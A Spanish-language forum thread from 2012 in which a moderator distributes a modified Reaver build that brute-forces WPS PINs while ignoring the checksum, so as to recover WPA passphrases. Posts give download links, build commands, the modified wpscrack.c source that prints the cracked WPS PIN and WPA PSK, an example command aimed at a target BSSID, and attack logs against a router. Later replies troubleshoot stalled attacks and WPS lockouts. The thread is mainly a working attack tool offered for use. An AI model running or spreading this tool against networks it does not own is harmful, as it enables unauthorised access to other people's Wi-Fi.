Autor Tema: reaver-wifislax mod para problema 99%  (Leído 213983 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
reaver-wifislax mod para problema 99%
« en: 25-11-2012, 19:39 (Domingo) »
Aclaraciones:

1-se ha modificado el fichero pins.c para que reaver compruebe todos los pins sin basarse en checksum.
2-este mod se utilizaria solo en caso de que reaver original se quede en 99,9% atascado
3-se requieren los 4 primeros digitos del pin (cuando reaver original se queda en 99 mirar los 4 primeros numeros del ultimo pin)
4-podeis lanzarlo sin poner los 4 primeros digitos ,PERO TARDARIA MESES
5-se ha modificado el instalador ,para que no elimine el reaver original en caso de estar instalado y para
   que el ejecutable se llame reaver-wifislax , ademas de usar un directorio de trabajo diferente ( /etc/reaver-wifislax)
6-se ha traducido en un 98% al español
7-se han coloreado las partes que mas interesa tener controladas,tales como el pin que testea en cada momento.
8-salvar sesion reaver ( de las distros) , no esta preparado para guardar en xzm las sesiones de este mod ,asi que ojo.
9-NO acepta testear pines completos, solo 4 primeros digitos.
10-si vuestro sistema esta instalado en hd no hay problema con lo de continuar sesiones.

_________________________________________________________________________________________

ESPERO QUE OS LEAIS LO ANTERIOR Y EVITAR ASI PREGUNTAS QUE SE RESPONDEN SOLAS
_________________________________________________________________________________________

ESTE MOD SE BASA EN LA MODIFICACION DE STEFANO RESPECTO AL FICHERO PINS.C
_________________________________________________________________________________________

      BETA 5   29/11/2012

Eliminada la obligacion de espficicar el parametro -p
Añadidas a las ayudas los comandos mas interesantes
Añadido numero de version beta para estara mas seguro de cual tenemos
Añadidos mensajes aclaratorios al final de la ayuda sobre restaurar sesiones.




MODULO XZM wifiway/wifislax: http://www.downloadwireless.net/modulos-fase-testing/wifislax-4.3-rc4/reaver-1.4-wifislax-mod-BETA5.xzm

CODIGO COMPILABLE/INSTALABLE en cualquier linux: http://www.downloadwireless.net/Aplicaciones-modificadas/reaver-1.4-wifislax-mod-BETA5.tar.gz

___________________________________________________________________________________________

   BETA 4

CHANGELOG:
Rectificado contador de porcentaje ( gracias shyraz )
Se pueden especificar pines completos como primer intento
Mejorado el sistema de keys , ordenando hacia arriba y prioridad 1 , las combinaciones conocidas


compilable para cualquier linux http://www.downloadwireless.net/Aplicaciones-modificadas/reaver-1.4-wifislax-mod-BETA4.tar.gz
modulo xzm wifiway/wifislax http://www.downloadwireless.net/modulos-fase-testing/wifislax-4.3-rc4/reaver-1.4-wifislax-mod-BETA4.xzm






                                  BETA 3
                                
CAMBIOS: modificada toda la pantalla de muestra de datos de wash , ahora esta todo mas junto y ocupa la mitad de espacio que antes , añadidos colores a las zonas indicadoras de bssid essid etc.

Añadido lanzador , en la categoria wpa wps para lanzarlo comodamente sin usar consola.

Compilable para cualquier linux:
http://downloadwireless.net/Aplicaciones-modificadas/reaver-1.4-wifislax-mod-BETA3.tar.gz

Modulo xzm para wifiway 3.x o wifislax 4.x:
http://downloadwireless.net/modulos-fase-testing/wifislax-4.3-rc3/reaver-1.4-wifislax-mod-BETA3.xzm

_____________________________________________________________________________________________
                    

                                                     BETA 1

Paquete compilable e instalable: http://www.downloadwireless.net/Aplicaciones-modificadas/reaver-1.4-wifislax-mod-BETA1.tar.gz
Modulo xzm para wifislax-4.3: http://www.downloadwireless.net/modulos-fase-testing/wifislax-4.3-rc3/reaver-1.4-wifislax-mod-BETA1.xzm


Instalar el compilable

Código: [Seleccionar]
./configure --prefix=/usr --sysconfdir=/etc
make
make install

EL EJECUTABLE SE LLAMA reaver-wifislax HAY QUE LLAMARLO DESDE CONSOLA DE MOMENTO NO LO TENGO INTEGRADO EN MENU


____________________________________________

                 BETA  2     26/11/2012
_____________________________________________

Paquete compilable para cualquier linux : http://downloadwireless.net/Aplicaciones-modificadas/reaver-1.4-wifislax-mod-BETA2.tar.gz
Modulo xzm en principio valido para wifiway 3 y wifislax 4: http://downloadwireless.net/modulos-fase-testing/wifislax-4.3-rc3/reaver-1.4-wifislax-mod-BETA2.xzm


« Última modificación: 29-11-2012, 11:50 (Jueves) por USUARIONUEVO »

m.k.

  • Visitante
Re: reaver-wifislax mod para problema 99%
« Respuesta #1 en: 25-11-2012, 23:40 (Domingo) »
Mira USARIONUEVO,

no tengo ni papa de C pero me las he ingeniado ( soy mu cabezooonnn) para que nos de un aviso si NO se ponen los 4 primeros digitos del PIN.
Ademas he cambiado esta linea:
Código: [Seleccionar]
fprintf(stderr, "\t-p, --pin=<wps pin>             Indicar 4 primeros digitos del pin\n");para que salga en Argumentos requeridos.




Aquí dejo el archivo modificado para que lo reviseis y/o mejoreis si hace falta.

wpscrack.c
Código: [Seleccionar]
/*
 * Reaver - Main and usage functions
 * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *
 *  In addition, as a special exception, the copyright holders give
 *  permission to link the code of portions of this program with the
 *  OpenSSL library under certain conditions as described in each
 *  individual source file, and distribute linked combinations
 *  including the two.
 *  You must obey the GNU General Public License in all respects
 *  for all of the code used other than OpenSSL. *  If you modify
 *  file(s) with this exception, you may extend this exception to your
 *  version of the file(s), but you are not obligated to do so. *  If you
 *  do not wish to do so, delete this exception statement from your
 *  version. *  If you delete this exception statement from all source
 *  files in the program, then also delete it here.
 */

#include "wpscrack.h"

int main(int argc, char **argv)
{
int ret_val = EXIT_FAILURE, r = 0;
time_t start_time = 0, end_time = 0;
struct wps_data *wps = NULL;

globule_init();
sql_init();
init_default_settings();

fprintf(stderr, "\nReaver-wifislax v%s WiFi Protected Setup Attack Tool\n", PACKAGE_VERSION);
fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>\n\n");

if(argc < 2)
{
ret_val = usage(argv[0]);
goto end;
}

/* Process the command line arguments */
if(process_arguments(argc, argv) == EXIT_FAILURE)
{
ret_val = usage(argv[0]);
goto end;
}

/* Double check usage */
if(!get_iface() || (memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) == 0))
{
usage(argv[0]);
goto end;
}

/* If no MAC address was provided, get it ourselves */
if(memcmp(get_mac(), NULL_MAC, MAC_ADDR_LEN) == 0)
{
if(!read_iface_mac())
{
fprintf(stderr, "[-] Fallo al leer la mac de la interface '%s'!\n", get_iface());
goto end;
}
}

/* Si no se especifican los 4 primeros digitos del PIN */
if(get_static_p1() == 0)
{
fprintf(stderr, "[-] Son necesarios los 4 primeros digitos de PIN\n\n");
goto end;
}

/* Sanity checking on the message timeout value */
if(get_m57_timeout() > M57_MAX_TIMEOUT)
{
set_m57_timeout(M57_MAX_TIMEOUT);
}
else if(get_m57_timeout() <= 0)
{
set_m57_timeout(M57_DEFAULT_TIMEOUT);
}

/* Sanity checking on the receive timeout value */
if(get_rx_timeout() <= 0)
{
set_rx_timeout(DEFAULT_TIMEOUT);
}

/* Initialize signal handlers */
sigint_init();
sigalrm_init();

/* Mark the start time */
start_time = time(NULL);

/* Do it. */
crack();

/* Mark the end time */
end_time = time(NULL);

/* Check our key status */
if(get_key_status() == KEY_DONE)
{
wps = get_wps();

cprintf(VERBOSE,      "[+] Pin crackeado en %d segundos\n", (int) (end_time - start_time));
cprintf(CRITICAL,     "[+] WPS PIN: '%s'\n", get_pin());
if(wps->key)      cprintf(CRITICAL, "[+] WPA PSK: '%s'\n", wps->key);
if(wps->essid)    cprintf(CRITICAL, "[+] AP SSID: '%s'\n", wps->essid);

/* Run user-supplied command */
if(get_exec_string())
{
r = system(get_exec_string());
}

ret_val = EXIT_SUCCESS;
}
else
{
cprintf(CRITICAL, "[-] Fallo al recuperar la llave WPA\n");
}

save_session();

end:
globule_deinit();
return ret_val;
}

int usage(char *prog_name)
{
        float fail_timeout = 0;

        fail_timeout = ((float) M57_DEFAULT_TIMEOUT / (float) SEC_TO_US);

        fprintf(stderr, "Argumentos Requeridos:\n");
        fprintf(stderr, "\t-i, --interface=<wlan>          Interfaz [EN MODO MONITOR]\n");
        fprintf(stderr, "\t-b, --bssid=<mac>               BSSID del AP a Atacar\n");
fprintf(stderr, "\t-p, --pin=<wps pin>             Indicar 4 primeros digitos del pin\n");

        fprintf(stderr, "\nArgumentos Opcionales:\n");
        fprintf(stderr, "\t-c, --channel=<channel>         Especificar el canal\n");
        fprintf(stderr, "\t-v, --verbose                   Ver fallos no criticos (-vv for more)\n");
        fprintf(stderr, "\t-h, --help                      Ver esta pantalla de ayuda\n");
       
        fprintf(stderr, "\nOpciones Avanzadas:\n");
fprintf(stderr, "\t-t, --timeout=<seconds>         Especificar el periodo de timeout [%d]\n", DEFAULT_TIMEOUT);
        fprintf(stderr, "\t-T, --m57-timeout=<seconds>     Periodo timeout de los M5/M7 [%.2f]\n", fail_timeout);

        fprintf(stderr, "\nEjemplo:\n\treaver-wifislax -i mon0 -b 00:90:4C:C1:AC:21 -p 1234 -vv\n\n", prog_name);

        return EXIT_FAILURE;
}



Saludos

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #2 en: 25-11-2012, 23:44 (Domingo) »
Perfectisimo m.k   ;D :D ;)

Es buena idea exigir los 4 primeros ,sino alguno se pegara dias, pasando tontamente pines.

Chumpy

  • Visitante
Re: reaver-wifislax mod para problema 99%
« Respuesta #3 en: 26-11-2012, 00:44 (Lunes) »
Y ya por terminar de marcarnosla, no se podría hacer que Reaver le pasara los argumentos directamente a rever-wifislax si no da con el pin?
No da ningún error si llega al final sin haber encontrado el pin que se pueda utilizar para pasar directamente a probar los pins sin checksum?

Alguna de las dos opciones tendría que funcionar no?

darkrevlis

  • Visitante
Re: reaver-wifislax mod para problema 99%
« Respuesta #4 en: 26-11-2012, 01:01 (Lunes) »
Ante todo buenas usuarionuevo. Haber si me puedes echar un cable. Resulta que soy un usuario novato, tanto en linux como en seguridad wireless y me hago la picha un lio para instalar tu paquete. Podrias indicarme de la manera mas simple que pasos debo seguir para una correcta instalación. Gracias y saludos maquina

Chumpy

  • Visitante
Re: reaver-wifislax mod para problema 99%
« Respuesta #5 en: 26-11-2012, 01:06 (Lunes) »
Es para instalarlo en Wifislax?

Es un módulo xzm y se instala como todos los módulos xzm de wifislax. No es necerasio añadir nada más.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #6 en: 26-11-2012, 01:08 (Lunes) »
el xzm tiene un problema de permisos.

esdtoy empaquetando la beta2 , con lo que añadio m.k


respecto a lo que dice chumpy.


lo mismo da que da lo mismo.

por que reaver-wifislax empezara a atacar desde cero , no se puede conservar lo hecho por el original ,de lo que haga el original solo aprovecha fijarse en los 4 numeros iniciales de donde se quedo atascado.

suma que quien lance reaver y lo deje 10 horas, seguramente ese dia no le apetezca mas reaver ... ;D

darkrevlis

  • Visitante
Re: reaver-wifislax mod para problema 99%
« Respuesta #7 en: 26-11-2012, 01:14 (Lunes) »
si compañero es para instalarlo en wifislax 4.3 y me baje el que esta aqui comprimido en tar.gz pero no se que tengo que hacer con eso. y los xzm probe con uno que puso usuarionuevo en el otro hilo del error 99.99% pero no se si lo hago bien. yo le doy doble click y me aparece una ventana que pone HDD MODULE INSTALLER con un boton de seleccion que al pulsarlo me pone una ruta por defecto (la ruta es /home) y no se si esa ruta hay q cambiarla por otra o dejarla como sale y luego darle a instalar. saludos

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #8 en: 26-11-2012, 01:29 (Lunes) »
si compañero es para instalarlo en wifislax 4.3 y me baje el que esta aqui comprimido en tar.gz pero no se que tengo que hacer con eso. y los xzm probe con uno que puso usuarionuevo en el otro hilo del error 99.99% pero no se si lo hago bien. yo le doy doble click y me aparece una ventana que pone HDD MODULE INSTALLER con un boton de seleccion que al pulsarlo me pone una ruta por defecto (la ruta es /home) y no se si esa ruta hay q cambiarla por otra o dejarla como sale y luego darle a instalar. saludos

si usas wifislax desde un pendrive,   baja el xzm y copialo dentro de la carpeta modules.
si usas wifislax instalado en disco duro , usa el module instaler , navega por los directorios hasta que veas el fichero xzm a instalar lo  seleccionas y dale al boton instalar.


NO ES TAN DIFICIL Y SE HA EXPLICAO 200,000 MILLONES DE VECES PERO UNA VEZ MAS LO PONGO A VER SI EL RESTO LEEN

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #9 en: 26-11-2012, 01:31 (Lunes) »
BETA 2 EN EL PRIMER POST


Aprovechando que voy conociendo el codigo que compone esta herramienta me planteo

1 - meterle al paquete original , los colores al pasar pines.
2 - modificar wash para que no necesite tanta pantalla al escanear y poner algun colorin colorao.
« Última modificación: 26-11-2012, 03:47 (Lunes) por USUARIONUEVO »

Chumpy

  • Visitante
Re: reaver-wifislax mod para problema 99%
« Respuesta #10 en: 26-11-2012, 01:56 (Lunes) »
Lo digo por automatizarlo un poco más, si lanzo el reaver no me va a apetecer volver 20h después y decir, vale, mi router no tiene cheksum, voy a ponerlo otras 6...

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #11 en: 26-11-2012, 02:03 (Lunes) »
una buena noticia ....

el codigo se comporta como se espera ...

en un entorno con un router que SI SIGUE LA NORMA de cracion de pines con checksum , ....EL MOD FUNCIONA TAMBIEN PERFECTAMENTE.


¿entonces por que usar antes el reaver original ?

facil , por que si el router se basa en el estandar de creacion de pin wps , ...nos ahorramos testear unos 10,000 pines.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #12 en: 26-11-2012, 02:06 (Lunes) »
Lo digo por automatizarlo un poco más, si lanzo el reaver no me va a apetecer volver 20h después y decir, vale, mi router no tiene cheksum, voy a ponerlo otras 6...

esque lo unico , es que te ahorras el poner en consola el comando ..nada mas.


reaver cuando se queda en 99,9 loco , no acaba nunca ....lo mejor es cerrarlo , y tirar con el modificado.

las veces que puedas necesitar el mod, las podras contar con los dedos de una mano , por que casi no hay router que no RESPETE , la norma de cracion de pin.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #13 en: 26-11-2012, 02:07 (Lunes) »
se me olvido pronar si funciona bien cuando usamos
-p 12345678

osea con un pin completo.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #14 en: 26-11-2012, 03:41 (Lunes) »
desgraciadamente no respeta si ponemos un pin completo ...tal como le pasa al original, asi que nada.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #15 en: 26-11-2012, 03:48 (Lunes) »
BETA 3 EN EL PRIMER POST

linesguapo

  • Visitante
Re: reaver-wifislax mod para problema 99%
« Respuesta #16 en: 26-11-2012, 21:57 (Lunes) »
Ahora si me instala el modulo en wifislax 4.3.r3 pero no se asocia bien y con el reaver normal no me pasa



eceived identity request
  • Enviando respuesta de identidad
  • [!] PRECAUCION: Se Recibio Tiempo De Espera Agotado
  • Sending WSC NACK
  • [!] Fallo la transaccion WPS (code: 0x02), reintentando el ultimo pin
  • Probando pin 22515674
  • [!] PRECAUCION: Fallo al asociar con 8C:0C:A3: (ESSID: WLAN_
    [!] PRECAUCION: Fallo al asociar con 8C:0C:A3: (ESSID: WLAN_
    [!] PRECAUCION: Fallo al asociar con 8C:0C:A3: (ESSID: WLAN_
    [!] PRECAUCION: Fallo al asociar con 8C:0C:A3: (ESSID: WLAN_
    [!] PRECAUCION: Fallo al asociar con 8C:0C:A3: (ESSID: WLAN_
    [!] PRECAUCION: Fallo al asociar con 8C:0C:A3: (ESSID: WLAN_
    [!] PRECAUCION: Fallo al asociar con 8C:0C:A3: (ESSID: WLAN_
    [!] PRECAUCION: Fallo al asociar con 8C:0C:A3: (ESSID: WLAN_
    [!] PRECAUCION: Fallo al asociar con 8C
« Última modificación: 26-11-2012, 23:17 (Lunes) por sanson »

wefdf3

  • Visitante
Re: reaver-wifislax mod para problema 99%
« Respuesta #17 en: 26-11-2012, 22:51 (Lunes) »
Entonces, cuando mande el M6 con el reaver 'normal' ya se supone que se saben los 4 primeros dígitos y se puede lanzar el mod con esos 4 verdad?

Es decir, q no habría q esperar al 99.9% para routers que se sepa d antemano q su pin no sigue la regla del checksum, sino a que mande M6
« Última modificación: 26-11-2012, 22:53 (Lunes) por wefdf3 »

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15503
Re: reaver-wifislax mod para problema 99%
« Respuesta #18 en: 27-11-2012, 06:25 (Martes) »
Ahora si me instala el modulo en wifislax 4.3.r3 pero no se asocia bien y con el reaver normal no me pasa




[!] Fallo la transaccion WPS (code: 0x02), reintentando el ultimo pin
  • Probando pin 22515674
el router bloqueo el uso de wps ...code 0x02

warcry

  • Visitante
Re: reaver-wifislax mod para problema 99%
« Respuesta #19 en: 27-11-2012, 08:24 (Martes) »
eso pasa tambien cuando el router tiene el wps activado pero tiene pbc  ^-^